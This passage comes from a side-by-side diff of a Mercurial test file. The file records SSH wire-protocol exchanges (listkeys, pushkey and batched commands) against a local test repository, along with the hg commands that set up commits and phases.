1742 | o> read(1) -> 1: |
|
1738 | o> read(1) -> 1: | |
1743 | o> \n |
|
1739 | o> \n | |
1744 | sending listkeys command |
|
1740 | sending listkeys command | |
1745 | i> write(9) -> 9: |
|
1741 | i> write(9) -> 9: | |
1746 | i> listkeys\n |
|
1742 | i> listkeys\n | |
1747 | i> write(12) -> 12: |
|
1743 | i> write(12) -> 12: | |
1748 | i> namespace 6\n |
|
1744 | i> namespace 6\n | |
1749 | i> write(6) -> 6: phases |
|
1745 | i> write(6) -> 6: phases | |
1750 | i> flush() -> None |
|
1746 | i> flush() -> None | |
1751 | o> bufferedreadline() -> 3: |
|
1747 | o> bufferedreadline() -> 3: | |
1752 | o> 15\n |
|
1748 | o> 15\n | |
1753 | o> bufferedread(15) -> 15: publishing\tTrue |
|
1749 | o> bufferedread(15) -> 15: publishing\tTrue | |
1754 | response: {b'publishing': b'True'} |
|
1750 | response: {b'publishing': b'True'} | |
1755 |
|
1751 | |||
1756 | Create some commits |
|
1752 | Create some commits | |
1757 |
|
1753 | |||
1758 | $ echo 0 > foo |
|
1754 | $ echo 0 > foo | |
1759 | $ hg add foo |
|
1755 | $ hg add foo | |
1760 | $ hg -q commit -m initial |
|
1756 | $ hg -q commit -m initial | |
1761 | $ hg phase --public |
|
1757 | $ hg phase --public | |
1762 | $ echo 1 > foo |
|
1758 | $ echo 1 > foo | |
1763 | $ hg commit -m 'head 1 commit 1' |
|
1759 | $ hg commit -m 'head 1 commit 1' | |
1764 | $ echo 2 > foo |
|
1760 | $ echo 2 > foo | |
1765 | $ hg commit -m 'head 1 commit 2' |
|
1761 | $ hg commit -m 'head 1 commit 2' | |
1766 | $ hg -q up 0 |
|
1762 | $ hg -q up 0 | |
1767 | $ echo 1a > foo |
|
1763 | $ echo 1a > foo | |
1768 | $ hg commit -m 'head 2 commit 1' |
|
1764 | $ hg commit -m 'head 2 commit 1' | |
1769 | created new head |
|
1765 | created new head | |
1770 | $ echo 2a > foo |
|
1766 | $ echo 2a > foo | |
1771 | $ hg commit -m 'head 2 commit 2' |
|
1767 | $ hg commit -m 'head 2 commit 2' | |
1772 |
|
1768 | |||
1773 | Two draft heads |
|
1769 | Two draft heads | |
1774 |
|
1770 | |||
1775 | $ debugwireproto << EOF |
|
1771 | $ debugwireproto << EOF | |
1776 | > command listkeys |
|
1772 | > command listkeys | |
1777 | > namespace phases |
|
1773 | > namespace phases | |
1778 | > EOF |
|
1774 | > EOF | |
1779 | testing ssh1 |
|
1775 | testing ssh1 | |
1780 | creating ssh peer from handshake results |
|
1776 | creating ssh peer from handshake results | |
1781 | i> write(104) -> 104: |
|
1777 | i> write(104) -> 104: | |
1782 | i> hello\n |
|
1778 | i> hello\n | |
1783 | i> between\n |
|
1779 | i> between\n | |
1784 | i> pairs 81\n |
|
1780 | i> pairs 81\n | |
1785 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1781 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1786 | i> flush() -> None |
|
1782 | i> flush() -> None | |
1787 | o> readline() -> 4: |
|
1783 | o> readline() -> 4: | |
1788 | o> 413\n |
|
1784 | o> 413\n | |
1789 | o> readline() -> 413: |
|
1785 | o> readline() -> 413: | |
1790 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1786 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1791 | o> readline() -> 2: |
|
1787 | o> readline() -> 2: | |
1792 | o> 1\n |
|
1788 | o> 1\n | |
1793 | o> readline() -> 1: |
|
1789 | o> readline() -> 1: | |
1794 | o> \n |
|
1790 | o> \n | |
1795 | sending listkeys command |
|
1791 | sending listkeys command | |
1796 | i> write(9) -> 9: |
|
1792 | i> write(9) -> 9: | |
1797 | i> listkeys\n |
|
1793 | i> listkeys\n | |
1798 | i> write(12) -> 12: |
|
1794 | i> write(12) -> 12: | |
1799 | i> namespace 6\n |
|
1795 | i> namespace 6\n | |
1800 | i> write(6) -> 6: phases |
|
1796 | i> write(6) -> 6: phases | |
1801 | i> flush() -> None |
|
1797 | i> flush() -> None | |
1802 | o> bufferedreadline() -> 4: |
|
1798 | o> bufferedreadline() -> 4: | |
1803 | o> 101\n |
|
1799 | o> 101\n | |
1804 | o> bufferedread(101) -> 101: |
|
1800 | o> bufferedread(101) -> 101: | |
1805 | o> 20b8a89289d80036e6c4e87c2083e3bea1586637\t1\n |
|
1801 | o> 20b8a89289d80036e6c4e87c2083e3bea1586637\t1\n | |
1806 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n |
|
1802 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n | |
1807 | o> publishing\tTrue |
|
1803 | o> publishing\tTrue | |
1808 | response: {b'20b8a89289d80036e6c4e87c2083e3bea1586637': b'1', b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} |
|
1804 | response: {b'20b8a89289d80036e6c4e87c2083e3bea1586637': b'1', b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} | |
1809 |
|
1805 | |||
1810 | testing ssh2 |
|
1806 | testing ssh2 | |
1811 | creating ssh peer from handshake results |
|
1807 | creating ssh peer from handshake results | |
1812 | i> write(171) -> 171: |
|
1808 | i> write(171) -> 171: | |
1813 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1809 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1814 | i> hello\n |
|
1810 | i> hello\n | |
1815 | i> between\n |
|
1811 | i> between\n | |
1816 | i> pairs 81\n |
|
1812 | i> pairs 81\n | |
1817 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1813 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1818 | i> flush() -> None |
|
1814 | i> flush() -> None | |
1819 | o> readline() -> 62: |
|
1815 | o> readline() -> 62: | |
1820 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1816 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1821 | o> readline() -> 4: |
|
1817 | o> readline() -> 4: | |
1822 | o> 412\n |
|
1818 | o> 412\n | |
1823 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1819 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1824 | o> read(1) -> 1: |
|
1820 | o> read(1) -> 1: | |
1825 | o> \n |
|
1821 | o> \n | |
1826 | sending listkeys command |
|
1822 | sending listkeys command | |
1827 | i> write(9) -> 9: |
|
1823 | i> write(9) -> 9: | |
1828 | i> listkeys\n |
|
1824 | i> listkeys\n | |
1829 | i> write(12) -> 12: |
|
1825 | i> write(12) -> 12: | |
1830 | i> namespace 6\n |
|
1826 | i> namespace 6\n | |
1831 | i> write(6) -> 6: phases |
|
1827 | i> write(6) -> 6: phases | |
1832 | i> flush() -> None |
|
1828 | i> flush() -> None | |
1833 | o> bufferedreadline() -> 4: |
|
1829 | o> bufferedreadline() -> 4: | |
1834 | o> 101\n |
|
1830 | o> 101\n | |
1835 | o> bufferedread(101) -> 101: |
|
1831 | o> bufferedread(101) -> 101: | |
1836 | o> 20b8a89289d80036e6c4e87c2083e3bea1586637\t1\n |
|
1832 | o> 20b8a89289d80036e6c4e87c2083e3bea1586637\t1\n | |
1837 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n |
|
1833 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n | |
1838 | o> publishing\tTrue |
|
1834 | o> publishing\tTrue | |
1839 | response: {b'20b8a89289d80036e6c4e87c2083e3bea1586637': b'1', b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} |
|
1835 | response: {b'20b8a89289d80036e6c4e87c2083e3bea1586637': b'1', b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} | |
1840 |
|
1836 | |||
1841 | Single draft head |
|
1837 | Single draft head | |
1842 |
|
1838 | |||
1843 | $ hg phase --public -r 2 |
|
1839 | $ hg phase --public -r 2 | |
1844 | $ debugwireproto << EOF |
|
1840 | $ debugwireproto << EOF | |
1845 | > command listkeys |
|
1841 | > command listkeys | |
1846 | > namespace phases |
|
1842 | > namespace phases | |
1847 | > EOF |
|
1843 | > EOF | |
1848 | testing ssh1 |
|
1844 | testing ssh1 | |
1849 | creating ssh peer from handshake results |
|
1845 | creating ssh peer from handshake results | |
1850 | i> write(104) -> 104: |
|
1846 | i> write(104) -> 104: | |
1851 | i> hello\n |
|
1847 | i> hello\n | |
1852 | i> between\n |
|
1848 | i> between\n | |
1853 | i> pairs 81\n |
|
1849 | i> pairs 81\n | |
1854 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1850 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1855 | i> flush() -> None |
|
1851 | i> flush() -> None | |
1856 | o> readline() -> 4: |
|
1852 | o> readline() -> 4: | |
1857 | o> 413\n |
|
1853 | o> 413\n | |
1858 | o> readline() -> 413: |
|
1854 | o> readline() -> 413: | |
1859 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1855 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1860 | o> readline() -> 2: |
|
1856 | o> readline() -> 2: | |
1861 | o> 1\n |
|
1857 | o> 1\n | |
1862 | o> readline() -> 1: |
|
1858 | o> readline() -> 1: | |
1863 | o> \n |
|
1859 | o> \n | |
1864 | sending listkeys command |
|
1860 | sending listkeys command | |
1865 | i> write(9) -> 9: |
|
1861 | i> write(9) -> 9: | |
1866 | i> listkeys\n |
|
1862 | i> listkeys\n | |
1867 | i> write(12) -> 12: |
|
1863 | i> write(12) -> 12: | |
1868 | i> namespace 6\n |
|
1864 | i> namespace 6\n | |
1869 | i> write(6) -> 6: phases |
|
1865 | i> write(6) -> 6: phases | |
1870 | i> flush() -> None |
|
1866 | i> flush() -> None | |
1871 | o> bufferedreadline() -> 3: |
|
1867 | o> bufferedreadline() -> 3: | |
1872 | o> 58\n |
|
1868 | o> 58\n | |
1873 | o> bufferedread(58) -> 58: |
|
1869 | o> bufferedread(58) -> 58: | |
1874 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n |
|
1870 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n | |
1875 | o> publishing\tTrue |
|
1871 | o> publishing\tTrue | |
1876 | response: {b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} |
|
1872 | response: {b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} | |
1877 |
|
1873 | |||
1878 | testing ssh2 |
|
1874 | testing ssh2 | |
1879 | creating ssh peer from handshake results |
|
1875 | creating ssh peer from handshake results | |
1880 | i> write(171) -> 171: |
|
1876 | i> write(171) -> 171: | |
1881 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1877 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1882 | i> hello\n |
|
1878 | i> hello\n | |
1883 | i> between\n |
|
1879 | i> between\n | |
1884 | i> pairs 81\n |
|
1880 | i> pairs 81\n | |
1885 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1881 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1886 | i> flush() -> None |
|
1882 | i> flush() -> None | |
1887 | o> readline() -> 62: |
|
1883 | o> readline() -> 62: | |
1888 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1884 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1889 | o> readline() -> 4: |
|
1885 | o> readline() -> 4: | |
1890 | o> 412\n |
|
1886 | o> 412\n | |
1891 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1887 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1892 | o> read(1) -> 1: |
|
1888 | o> read(1) -> 1: | |
1893 | o> \n |
|
1889 | o> \n | |
1894 | sending listkeys command |
|
1890 | sending listkeys command | |
1895 | i> write(9) -> 9: |
|
1891 | i> write(9) -> 9: | |
1896 | i> listkeys\n |
|
1892 | i> listkeys\n | |
1897 | i> write(12) -> 12: |
|
1893 | i> write(12) -> 12: | |
1898 | i> namespace 6\n |
|
1894 | i> namespace 6\n | |
1899 | i> write(6) -> 6: phases |
|
1895 | i> write(6) -> 6: phases | |
1900 | i> flush() -> None |
|
1896 | i> flush() -> None | |
1901 | o> bufferedreadline() -> 3: |
|
1897 | o> bufferedreadline() -> 3: | |
1902 | o> 58\n |
|
1898 | o> 58\n | |
1903 | o> bufferedread(58) -> 58: |
|
1899 | o> bufferedread(58) -> 58: | |
1904 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n |
|
1900 | o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n | |
1905 | o> publishing\tTrue |
|
1901 | o> publishing\tTrue | |
1906 | response: {b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} |
|
1902 | response: {b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'} | |
1907 |
|
1903 | |||
1908 | All public heads |
|
1904 | All public heads | |
1909 |
|
1905 | |||
1910 | $ hg phase --public -r 4 |
|
1906 | $ hg phase --public -r 4 | |
1911 | $ debugwireproto << EOF |
|
1907 | $ debugwireproto << EOF | |
1912 | > command listkeys |
|
1908 | > command listkeys | |
1913 | > namespace phases |
|
1909 | > namespace phases | |
1914 | > EOF |
|
1910 | > EOF | |
1915 | testing ssh1 |
|
1911 | testing ssh1 | |
1916 | creating ssh peer from handshake results |
|
1912 | creating ssh peer from handshake results | |
1917 | i> write(104) -> 104: |
|
1913 | i> write(104) -> 104: | |
1918 | i> hello\n |
|
1914 | i> hello\n | |
1919 | i> between\n |
|
1915 | i> between\n | |
1920 | i> pairs 81\n |
|
1916 | i> pairs 81\n | |
1921 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1917 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1922 | i> flush() -> None |
|
1918 | i> flush() -> None | |
1923 | o> readline() -> 4: |
|
1919 | o> readline() -> 4: | |
1924 | o> 413\n |
|
1920 | o> 413\n | |
1925 | o> readline() -> 413: |
|
1921 | o> readline() -> 413: | |
1926 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1922 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1927 | o> readline() -> 2: |
|
1923 | o> readline() -> 2: | |
1928 | o> 1\n |
|
1924 | o> 1\n | |
1929 | o> readline() -> 1: |
|
1925 | o> readline() -> 1: | |
1930 | o> \n |
|
1926 | o> \n | |
1931 | sending listkeys command |
|
1927 | sending listkeys command | |
1932 | i> write(9) -> 9: |
|
1928 | i> write(9) -> 9: | |
1933 | i> listkeys\n |
|
1929 | i> listkeys\n | |
1934 | i> write(12) -> 12: |
|
1930 | i> write(12) -> 12: | |
1935 | i> namespace 6\n |
|
1931 | i> namespace 6\n | |
1936 | i> write(6) -> 6: phases |
|
1932 | i> write(6) -> 6: phases | |
1937 | i> flush() -> None |
|
1933 | i> flush() -> None | |
1938 | o> bufferedreadline() -> 3: |
|
1934 | o> bufferedreadline() -> 3: | |
1939 | o> 15\n |
|
1935 | o> 15\n | |
1940 | o> bufferedread(15) -> 15: publishing\tTrue |
|
1936 | o> bufferedread(15) -> 15: publishing\tTrue | |
1941 | response: {b'publishing': b'True'} |
|
1937 | response: {b'publishing': b'True'} | |
1942 |
|
1938 | |||
1943 | testing ssh2 |
|
1939 | testing ssh2 | |
1944 | creating ssh peer from handshake results |
|
1940 | creating ssh peer from handshake results | |
1945 | i> write(171) -> 171: |
|
1941 | i> write(171) -> 171: | |
1946 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1942 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1947 | i> hello\n |
|
1943 | i> hello\n | |
1948 | i> between\n |
|
1944 | i> between\n | |
1949 | i> pairs 81\n |
|
1945 | i> pairs 81\n | |
1950 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1946 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1951 | i> flush() -> None |
|
1947 | i> flush() -> None | |
1952 | o> readline() -> 62: |
|
1948 | o> readline() -> 62: | |
1953 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1949 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1954 | o> readline() -> 4: |
|
1950 | o> readline() -> 4: | |
1955 | o> 412\n |
|
1951 | o> 412\n | |
1956 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1952 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1957 | o> read(1) -> 1: |
|
1953 | o> read(1) -> 1: | |
1958 | o> \n |
|
1954 | o> \n | |
1959 | sending listkeys command |
|
1955 | sending listkeys command | |
1960 | i> write(9) -> 9: |
|
1956 | i> write(9) -> 9: | |
1961 | i> listkeys\n |
|
1957 | i> listkeys\n | |
1962 | i> write(12) -> 12: |
|
1958 | i> write(12) -> 12: | |
1963 | i> namespace 6\n |
|
1959 | i> namespace 6\n | |
1964 | i> write(6) -> 6: phases |
|
1960 | i> write(6) -> 6: phases | |
1965 | i> flush() -> None |
|
1961 | i> flush() -> None | |
1966 | o> bufferedreadline() -> 3: |
|
1962 | o> bufferedreadline() -> 3: | |
1967 | o> 15\n |
|
1963 | o> 15\n | |
1968 | o> bufferedread(15) -> 15: publishing\tTrue |
|
1964 | o> bufferedread(15) -> 15: publishing\tTrue | |
1969 | response: {b'publishing': b'True'} |
|
1965 | response: {b'publishing': b'True'} | |
1970 |
|
1966 | |||
1971 | Setting public phase via pushkey |
|
1967 | Setting public phase via pushkey | |
1972 |
|
1968 | |||
1973 | $ hg phase --draft --force -r . |
|
1969 | $ hg phase --draft --force -r . | |
1974 |
|
1970 | |||
1975 | $ debugwireproto << EOF |
|
1971 | $ debugwireproto << EOF | |
1976 | > command pushkey |
|
1972 | > command pushkey | |
1977 | > namespace phases |
|
1973 | > namespace phases | |
1978 | > key 7127240a084fd9dc86fe8d1f98e26229161ec82b |
|
1974 | > key 7127240a084fd9dc86fe8d1f98e26229161ec82b | |
1979 | > old 1 |
|
1975 | > old 1 | |
1980 | > new 0 |
|
1976 | > new 0 | |
1981 | > EOF |
|
1977 | > EOF | |
1982 | testing ssh1 |
|
1978 | testing ssh1 | |
1983 | creating ssh peer from handshake results |
|
1979 | creating ssh peer from handshake results | |
1984 | i> write(104) -> 104: |
|
1980 | i> write(104) -> 104: | |
1985 | i> hello\n |
|
1981 | i> hello\n | |
1986 | i> between\n |
|
1982 | i> between\n | |
1987 | i> pairs 81\n |
|
1983 | i> pairs 81\n | |
1988 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1984 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1989 | i> flush() -> None |
|
1985 | i> flush() -> None | |
1990 | o> readline() -> 4: |
|
1986 | o> readline() -> 4: | |
1991 | o> 413\n |
|
1987 | o> 413\n | |
1992 | o> readline() -> 413: |
|
1988 | o> readline() -> 413: | |
1993 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1989 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1994 | o> readline() -> 2: |
|
1990 | o> readline() -> 2: | |
1995 | o> 1\n |
|
1991 | o> 1\n | |
1996 | o> readline() -> 1: |
|
1992 | o> readline() -> 1: | |
1997 | o> \n |
|
1993 | o> \n | |
1998 | sending pushkey command |
|
1994 | sending pushkey command | |
1999 | i> write(8) -> 8: |
|
1995 | i> write(8) -> 8: | |
2000 | i> pushkey\n |
|
1996 | i> pushkey\n | |
2001 | i> write(7) -> 7: |
|
1997 | i> write(7) -> 7: | |
2002 | i> key 40\n |
|
1998 | i> key 40\n | |
2003 | i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b |
|
1999 | i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b | |
2004 | i> write(12) -> 12: |
|
2000 | i> write(12) -> 12: | |
2005 | i> namespace 6\n |
|
2001 | i> namespace 6\n | |
2006 | i> write(6) -> 6: phases |
|
2002 | i> write(6) -> 6: phases | |
2007 | i> write(6) -> 6: |
|
2003 | i> write(6) -> 6: | |
2008 | i> new 1\n |
|
2004 | i> new 1\n | |
2009 | i> write(1) -> 1: 0 |
|
2005 | i> write(1) -> 1: 0 | |
2010 | i> write(6) -> 6: |
|
2006 | i> write(6) -> 6: | |
2011 | i> old 1\n |
|
2007 | i> old 1\n | |
2012 | i> write(1) -> 1: 1 |
|
2008 | i> write(1) -> 1: 1 | |
2013 | i> flush() -> None |
|
2009 | i> flush() -> None | |
2014 | o> bufferedreadline() -> 2: |
|
2010 | o> bufferedreadline() -> 2: | |
2015 | o> 2\n |
|
2011 | o> 2\n | |
2016 | o> bufferedread(2) -> 2: |
|
2012 | o> bufferedread(2) -> 2: | |
2017 | o> 1\n |
|
2013 | o> 1\n | |
2018 | response: True |
|
2014 | response: True | |
2019 |
|
2015 | |||
2020 | testing ssh2 |
|
2016 | testing ssh2 | |
2021 | creating ssh peer from handshake results |
|
2017 | creating ssh peer from handshake results | |
2022 | i> write(171) -> 171: |
|
2018 | i> write(171) -> 171: | |
2023 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
2019 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
2024 | i> hello\n |
|
2020 | i> hello\n | |
2025 | i> between\n |
|
2021 | i> between\n | |
2026 | i> pairs 81\n |
|
2022 | i> pairs 81\n | |
2027 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
2023 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
2028 | i> flush() -> None |
|
2024 | i> flush() -> None | |
2029 | o> readline() -> 62: |
|
2025 | o> readline() -> 62: | |
2030 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
2026 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
2031 | o> readline() -> 4: |
|
2027 | o> readline() -> 4: | |
2032 | o> 412\n |
|
2028 | o> 412\n | |
2033 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
2029 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
2034 | o> read(1) -> 1: |
|
2030 | o> read(1) -> 1: | |
2035 | o> \n |
|
2031 | o> \n | |
2036 | sending pushkey command |
|
2032 | sending pushkey command | |
2037 | i> write(8) -> 8: |
|
2033 | i> write(8) -> 8: | |
2038 | i> pushkey\n |
|
2034 | i> pushkey\n | |
2039 | i> write(7) -> 7: |
|
2035 | i> write(7) -> 7: | |
2040 | i> key 40\n |
|
2036 | i> key 40\n | |
2041 | i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b |
|
2037 | i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b | |
2042 | i> write(12) -> 12: |
|
2038 | i> write(12) -> 12: | |
2043 | i> namespace 6\n |
|
2039 | i> namespace 6\n | |
2044 | i> write(6) -> 6: phases |
|
2040 | i> write(6) -> 6: phases | |
2045 | i> write(6) -> 6: |
|
2041 | i> write(6) -> 6: | |
2046 | i> new 1\n |
|
2042 | i> new 1\n | |
2047 | i> write(1) -> 1: 0 |
|
2043 | i> write(1) -> 1: 0 | |
2048 | i> write(6) -> 6: |
|
2044 | i> write(6) -> 6: | |
2049 | i> old 1\n |
|
2045 | i> old 1\n | |
2050 | i> write(1) -> 1: 1 |
|
2046 | i> write(1) -> 1: 1 | |
2051 | i> flush() -> None |
|
2047 | i> flush() -> None | |
2052 | o> bufferedreadline() -> 2: |
|
2048 | o> bufferedreadline() -> 2: | |
2053 | o> 2\n |
|
2049 | o> 2\n | |
2054 | o> bufferedread(2) -> 2: |
|
2050 | o> bufferedread(2) -> 2: | |
2055 | o> 1\n |
|
2051 | o> 1\n | |
2056 | response: True |
|
2052 | response: True | |
2057 |
|
2053 | |||
2058 | $ hg phase . |
|
2054 | $ hg phase . | |
2059 | 4: public |
|
2055 | 4: public | |
2060 |
|
2056 | |||
2061 | $ cd .. |
|
2057 | $ cd .. | |
2062 |
|
2058 | |||
2063 | Test batching of requests |
|
2059 | Test batching of requests | |
2064 |
|
2060 | |||
2065 | $ hg init batching |
|
2061 | $ hg init batching | |
2066 | $ cd batching |
|
2062 | $ cd batching | |
2067 | $ echo 0 > foo |
|
2063 | $ echo 0 > foo | |
2068 | $ hg add foo |
|
2064 | $ hg add foo | |
2069 | $ hg -q commit -m initial |
|
2065 | $ hg -q commit -m initial | |
2070 | $ hg phase --public |
|
2066 | $ hg phase --public | |
2071 | $ echo 1 > foo |
|
2067 | $ echo 1 > foo | |
2072 | $ hg commit -m 'commit 1' |
|
2068 | $ hg commit -m 'commit 1' | |
2073 | $ hg -q up 0 |
|
2069 | $ hg -q up 0 | |
2074 | $ echo 2 > foo |
|
2070 | $ echo 2 > foo | |
2075 | $ hg commit -m 'commit 2' |
|
2071 | $ hg commit -m 'commit 2' | |
2076 | created new head |
|
2072 | created new head | |
2077 | $ hg book -r 1 bookA |
|
2073 | $ hg book -r 1 bookA | |
2078 | $ hg book -r 2 bookB |
|
2074 | $ hg book -r 2 bookB | |
2079 |
|
2075 | |||
2080 | $ debugwireproto << EOF |
|
2076 | $ debugwireproto << EOF | |
2081 | > batchbegin |
|
2077 | > batchbegin | |
2082 | > command heads |
|
2078 | > command heads | |
2083 | > command listkeys |
|
2079 | > command listkeys | |
2084 | > namespace bookmarks |
|
2080 | > namespace bookmarks | |
2085 | > command listkeys |
|
2081 | > command listkeys | |
2086 | > namespace phases |
|
2082 | > namespace phases | |
2087 | > batchsubmit |
|
2083 | > batchsubmit | |
2088 | > EOF |
|
2084 | > EOF | |
2089 | testing ssh1 |
|
2085 | testing ssh1 | |
2090 | creating ssh peer from handshake results |
|
2086 | creating ssh peer from handshake results | |
2091 | i> write(104) -> 104: |
|
2087 | i> write(104) -> 104: | |
2092 | i> hello\n |
|
2088 | i> hello\n | |
2093 | i> between\n |
|
2089 | i> between\n | |
2094 | i> pairs 81\n |
|
2090 | i> pairs 81\n | |
2095 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
2091 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
2096 | i> flush() -> None |
|
2092 | i> flush() -> None | |
2097 | o> readline() -> 4: |
|
2093 | o> readline() -> 4: | |
2098 | o> 413\n |
|
2094 | o> 413\n | |
2099 | o> readline() -> 413: |
|
2095 | o> readline() -> 413: | |
2100 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
2096 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
